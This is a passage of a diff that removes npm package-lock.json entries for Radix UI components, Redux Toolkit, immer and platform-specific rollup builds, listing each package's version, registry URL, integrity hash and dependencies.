^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-presence": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz", - "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.8.tgz", - "integrity": "sha512-+gISHcSPUJ7ktBy9RnTqbdKW78bcGke3t6taawyZ71pio1JewwGSJizycs7rLhGTvMJYCQB1DBK4KQsxs7U8dA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-context": "1.1.3", - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-context": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.3.tgz", - "integrity": "sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-roving-focus": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz", - "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-scroll-area": { - "version": "1.2.10", - "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.10.tgz", - "integrity": "sha512-tAXIa1g3sM5CGpVT0uIbUx/U3Gs5N8T52IICuCtObaos1S8fzsrPXG5WObkQN3S6NVl6wKgPhAIiBGbWnvc97A==", - "license": "MIT", - "dependencies": { - "@radix-ui/number": "1.1.1", - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-select": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.2.6.tgz", - "integrity": "sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/number": "1.1.1", - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-use-layout-effect": "1.1.1", - "@radix-ui/react-use-previous": "1.1.1", - "@radix-ui/react-visually-hidden": "1.2.3", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-select/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-separator": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.8.tgz", - "integrity": "sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-separator/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-slot": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.4.tgz", - "integrity": "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-switch": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.2.6.tgz", - "integrity": "sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-use-previous": "1.1.1", - "@radix-ui/react-use-size": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tabs": { - "version": "1.1.13", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.13.tgz", - "integrity": "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-roving-focus": "1.1.11", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tooltip": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz", - "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-visually-hidden": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-callback-ref": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz", - "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-controllable-state": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", - "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-effect-event": "0.0.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-effect-event": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", - "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-escape-keydown": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz", - "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-callback-ref": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-layout-effect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", - "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-previous": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.1.tgz", - "integrity": "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz", - "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==", - "license": "MIT", - "dependencies": { - "@radix-ui/rect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-size": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz", - "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-visually-hidden": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", - "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz", - "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==", - "license": "MIT" - }, - "node_modules/@reduxjs/toolkit": { - "version": "2.11.2", - "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.11.2.tgz", - "integrity": "sha512-Kd6kAHTA6/nUpp8mySPqj3en3dm0tdMIgbttnQ1xFMVpufoj+ADi8pXLBsd4xzTRHQa7t/Jv8W5UnCuW4kuWMQ==", - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.0.0", - "@standard-schema/utils": "^0.3.0", - "immer": "^11.0.0", - "redux": "^5.0.1", - "redux-thunk": "^3.1.0", - "reselect": "^5.1.0" - }, - "peerDependencies": { - "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", - "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" - }, - "peerDependenciesMeta": { - "react": { - "optional": true - }, - "react-redux": { - "optional": true - } - } - }, - "node_modules/@reduxjs/toolkit/node_modules/immer": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.0.tgz", - "integrity": "sha512-dlzb07f5LDY+tzs+iLCSXV2yuhaYfezqyZQc+n6baLECWkOMEWxkECAOnXL0ba7lsA25fM9b2jtzpu/uxo1a7g==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/@rolldown/pluginutils": { - "version": "1.0.0-beta.53", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz", - "integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz", - "integrity": "sha512-OywsdRHrFvCdvsewAInDKCNyR3laPA2mc9bRYJ6LBp5IyvF3fvXbbNR0bSzHlZVFtn6E0xw2oZlyjg4rKCVcng==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz", - "integrity": "sha512-Skx39Uv+u7H224Af+bDgNinitlmHyQX1K/atIA32JP3JQw6hVODX5tkbi2zof/E69M1qH2UoN3Xdxgs90mmNYw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz", - "integrity": "sha512-k43D4qta/+6Fq+nCDhhv9yP2HdeKeP56QrUUTW7E6PhZP1US6NDqpJj4MY0jBHlJivVJD5P8NxrjuobZBJTCRw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz", - "integrity": "sha512-cOo7biqwkpawslEfox5Vs8/qj83M/aZCSSNIWpVzfU2CYHa2G3P1UN5WF01RdTHSgCkri7XOlTdtk17BezlV3A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz", - "integrity": "sha512-miSvuFkmvFbgJ1BevMa4CPCFt5MPGw094knM64W9I0giUIMMmRYcGW/JWZDriaw/k1kOBtsWh1z6nIFV1vPNtA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz", - "integrity": "sha512-KGXIs55+b/ZfZsq9aR026tmr/+7tq6VG6MsnrvF4H8VhwflTIuYh+LFUlIsRdQSgrgmtM3fVATzEAj4hBQlaqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz", - "integrity": "sha512-EHMUcDwhtdRGlXZsGSIuXSYwD5kOT9NVnx9sqzYiwAc91wfYOE1g1djOEDseZJKKqtHAHGwnGPQu3kytmfaXLQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz", - "integrity": "sha512-+pBrqEjaakN2ySv5RVrj/qLytYhPKEUwk+e3SFU5jTLHIcAtqh2rLrd/OkbNuHJpsBgxsD8ccJt5ga/SeG0JmA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz", - "integrity": "sha512-NSqc7rE9wuUaRBsBp5ckQ5CVz5aIRKCwsoa6WMF7G01sX3/qHUw/z4pv+D+ahL1EIKy6Enpcnz1RY8pf7bjwng==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz", - "integrity": "sha512-gr5vDbg3Bakga5kbdpqx81m2n9IX8M6gIMlQQIXiLTNeQW6CucvuInJ91EuCJ/JYvc+rcLLsDFcfAD1K7fMofg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz", - "integrity": "sha512-gsrtB1NA3ZYj2vq0Rzkylo9ylCtW/PhpLEivlgWe0bpgtX5+9j9EZa0wtZiCjgu6zmSeZWyI/e2YRX1URozpIw==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz", - "integrity": "sha512-y3qNOfTBStmFNq+t4s7Tmc9hW2ENtPg8FeUD/VShI7rKxNW7O4fFeaYbMsd3tpFlIg1Q8IapFgy7Q9i2BqeBvA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz", - 